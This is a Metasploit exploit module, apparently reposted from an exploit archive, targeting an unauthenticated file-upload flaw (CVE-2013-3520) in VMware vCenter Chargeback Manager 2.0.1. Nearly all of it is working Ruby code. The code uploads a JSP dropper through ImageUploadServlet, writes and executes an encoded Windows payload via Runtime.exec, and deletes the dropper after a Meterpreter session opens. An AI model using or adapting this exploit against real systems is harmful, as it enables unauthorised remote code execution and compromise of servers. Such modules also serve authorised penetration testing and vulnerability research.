VMware vCenter Chargeback Manager ImageUploadServlet Arbitrary File Upload Exploit

:
24.07.2013
:
VMware vCenter Chargeback Manager 2.0.1
:
:
VMware vCenter Chargeback Manager

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

HttpFingerprint = { :pattern => [ /Apache.*Win32/ ] }

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'VMware vCenter Chargeback Manager ImageUploadServlet Arbitrary File Upload',
'Description' => %q{
This module exploits a code execution flaw in VMware vCenter Chargeback Manager,
where the ImageUploadServlet servlet allows unauthenticated file upload. The files
are uploaded to the /cbmui/images/ web path, where JSP code execution is allowed.
The module has been tested successfully on VMware vCenter Chargeback Manager 2.0.1
on Windows 2003 SP2.
},
'Author' =>
[
'Andrea Micalizzi', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-3520' ],
[ 'OSVDB', '94188' ],
[ 'BID', '60484' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-147/' ]
],
'Privileged' => true,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'VMware vCenter Chargeback Manager 2.0.1 / Windows 2003 SP2', { } ]
],
'DefaultOptions' =>
{
'SSL' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => 'May 15 2013'))

register_options(
[
Opt::RPORT(443)
], self.class)
end

#
# Try to find and delete the jsp if we get a meterpreter.
#
def on_new_session(cli)

if not @dropper or @dropper.empty?
return
end

if cli.type != 'meterpreter'
print_error("#{@peer} - Meterpreter not used. Please manually remove #{@dropper}")
return
end

cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")

begin
print_status("#{@peer} - Searching: #{@dropper}")
files = cli.fs.file.search("\\", @dropper)
if not files or files.empty?
print_error("#{@peer} - Unable to find #{@dropper}. Please manually remove it.")
return
end

files.each { |f|
print_warning("Deleting: #{f['path'] + "\\" + f['name']}")
cli.fs.file.rm(f['path'] + "\\" + f['name'])
}
print_good("#{@peer} - #{@dropper} deleted")
return
rescue ::Exception => e
print_error("#{@peer} - Unable to delete #{@dropper}: #{e.message}")
end
end

def upload_file(filename, contents)
post_data = Rex::MIME::Message.new
post_data.add_part(contents, "image/png", nil, "form-data; name=\"#{rand_text_alpha(4+rand(4))}\"; filename=\"#{filename}\"")

# Work around an incompatible MIME implementation
data = post_data.to_s
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")

res = send_request_cgi(
{
'uri' => normalize_uri("cbmui", "ImageUploadServlet"),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => "JSESSIONID=#{@session}"
})

if res and res.code == 200
return true
else
return false
end
end

def check
res = send_request_cgi({
'uri' => normalize_uri("cbmui", "en_US", "themes", "excel", "index.htm"),
})

if res and res.code == 200 and res.body =~ /vCenter Chargeback Manager/
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Safe
end

def exploit
@peer = "#{rhost}:#{rport}"

print_status("#{@peer} - Uploading JSP to execute the payload")

exe = payload.encoded_exe
exe_filename = rand_text_alpha(8) + ".exe"

# The JSP dropper is needed because there isn't directory traversal, just
# arbitrary file upload to a web path where JSP code execution is allowed.
dropper = jsp_drop_and_execute(exe, exe_filename)
dropper_filename = rand_text_alpha(8) + ".jsp"

if upload_file(dropper_filename, dropper)
register_files_for_cleanup(exe_filename)
@dropper = dropper_filename
else
fail_with(Exploit::Failure::Unknown, "#{@peer} - JSP upload failed")
end

print_status("#{@peer} - Executing payload")
send_request_cgi(
{
'uri' => normalize_uri("cbmui", "images", dropper_filename),
'method' => 'GET'
})
end

# This should probably go in a mixin
def jsp_drop_bin(bin_data, output_file)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|

jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|

jspraw << %Q|int numbytes = data.length();\n|

jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
jspraw << %Q|{\n|
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
jspraw << %Q| comb <<= 4;\n|
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
jspraw << %Q|}\n|

jspraw << %Q|outputstream.write(bytes);\n|
jspraw << %Q|outputstream.close();\n|
jspraw << %Q|%>\n|

jspraw
end

def jsp_execute_command(command)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|try {\n|
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|
jspraw << %Q|} catch (IOException ioe) { }\n|
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
jspraw << %Q|%>\n|

jspraw
end

def jsp_drop_and_execute(bin_data, output_file)
jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
end

end

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